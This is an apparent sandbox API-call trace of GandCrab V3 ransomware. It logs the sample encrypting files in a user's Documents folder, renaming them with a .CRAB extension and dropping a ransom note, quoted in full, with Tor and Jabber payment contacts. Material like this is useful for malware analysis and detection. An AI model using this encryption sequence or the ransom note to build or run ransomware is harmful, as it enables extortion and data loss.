	[0126.497] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.497] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods") returned 42
	[0126.497] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods") returned 42
	[0126.497] lstrlenW (lpString=".ods") returned 4
	[0126.497] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.498] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ods ") returned 5
	[0126.498] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods") returned 42
	[0126.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods") returned 42
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="desktop.ini") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="autorun.inf") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="ntuser.dat") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="iconcache.db") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="bootsect.bak") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="boot.ini") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="ntuser.dat.log") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="thumbs.db") returned -1
	[0126.498] lstrcmpiW (lpString1="aIqb k.ods", lpString2="CRAB-DECRYPT.txt") returned -1
	[0126.498] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.499] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB") returned 47
	[0126.499] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\aiqb k.ods")) returned 0x20
	[0126.499] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods", dwFileAttributes=0x20) returned 1
	[0126.499] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\aiqb k.ods"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\aiqb k.ods.crab")) returned 1
	[0126.500] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.500] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB"
	[0126.500] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB.CRAB"
	[0126.501] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0126.501] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.502] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.502] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0126.502] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.502] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.502] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0126.502] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.503] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.503] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0126.503] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.503] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.503] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.504] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.504] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0126.504] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e678) returned 1
	[0126.506] CryptGetKeyParam (in: hKey=0x318e678, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.506] CryptEncrypt (in: hKey=0x318e678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0126.506] GetLastError () returned 0x0
	[0126.506] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0126.506] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0126.507] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318ebf8) returned 1
	[0126.507] CryptGetKeyParam (in: hKey=0x318ebf8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.507] CryptEncrypt (in: hKey=0x318ebf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0126.507] GetLastError () returned 0x0
	[0126.507] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.507] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aIqb k.ods.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\aiqb k.ods.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0126.508] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.508] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.508] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0xf0d2, lpOverlapped=0x0) returned 1
	[0126.528] VirtualAlloc (lpAddress=0x0, dwSize=0xf0e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.529] VirtualAlloc (lpAddress=0x0, dwSize=0xf0e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.531] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.531] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff0f2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.531] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xf0e0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0xf0e0, lpOverlapped=0x0) returned 1
	[0126.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.532] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.536] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.536] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.536] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0126.536] CloseHandle (hObject=0x3e8) returned 1
	[0126.536] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.536] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.537] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.537] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.537] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.537] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.538] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0126.538] lstrcmpW (lpString1="CeCO8Pf.docx", lpString2=".") returned 1
	[0126.538] lstrcmpW (lpString1="CeCO8Pf.docx", lpString2="..") returned 1
	[0126.538] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="CeCO8Pf.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx"
	[0126.538] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.538] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx") returned 44
	[0126.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx") returned 44
	[0126.538] lstrlenW (lpString=".docx") returned 5
	[0126.538] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.538] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0126.539] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx") returned 44
	[0126.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx") returned 44
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="desktop.ini") returned -1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="autorun.inf") returned 1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="ntuser.dat") returned -1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="iconcache.db") returned -1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="bootsect.bak") returned 1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="boot.ini") returned 1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="ntuser.dat.log") returned -1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="thumbs.db") returned -1
	[0126.539] lstrcmpiW (lpString1="CeCO8Pf.docx", lpString2="CRAB-DECRYPT.txt") returned -1
	[0126.539] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.539] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB") returned 49
	[0126.540] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ceco8pf.docx")) returned 0x20
	[0126.540] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx", dwFileAttributes=0x20) returned 1
	[0126.540] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ceco8pf.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ceco8pf.docx.crab")) returned 1
	[0126.541] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.541] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB"
	[0126.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB.CRAB"
	[0126.542] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0126.542] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.542] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.543] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.543] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0126.543] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.543] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.543] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0126.543] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.544] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.544] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0126.544] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.544] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.544] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.544] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.545] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0126.545] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e878) returned 1
	[0126.545] CryptGetKeyParam (in: hKey=0x318e878, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.545] CryptEncrypt (in: hKey=0x318e878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0126.546] GetLastError () returned 0x0
	[0126.546] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.546] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0126.546] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e738) returned 1
	[0126.546] CryptGetKeyParam (in: hKey=0x318e738, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0126.546] CryptEncrypt (in: hKey=0x318e738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0126.547] GetLastError () returned 0x0
	[0126.547] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.547] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CeCO8Pf.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ceco8pf.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0126.547] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.547] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.548] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x8245, lpOverlapped=0x0) returned 1
	[0126.559] VirtualAlloc (lpAddress=0x0, dwSize=0x8250, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8250, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.561] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.561] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff7dbb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.561] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x8250, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x8250, lpOverlapped=0x0) returned 1
	[0126.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.562] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.568] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.568] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0126.568] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0126.568] CloseHandle (hObject=0x3e8) returned 1
	[0126.568] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.569] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.569] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.569] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.569] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.570] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.570] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0126.570] lstrcmpW (lpString1="ci3jryHf0yy9CjN", lpString2=".") returned 1
	[0126.570] lstrcmpW (lpString1="ci3jryHf0yy9CjN", lpString2="..") returned 1
	[0126.570] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="ci3jryHf0yy9CjN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN"
	[0126.570] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\"
	[0126.570] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.570] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0126.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0126.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0126.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0126.571] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0126.571] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0126.571] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0126.571] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0126.571] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0126.571] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0126.571] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.571] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\\\CRAB-DECRYPT.txt") returned 65
	[0126.572] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0126.573] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0126.573] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0126.573] CloseHandle (hObject=0x3e8) returned 1
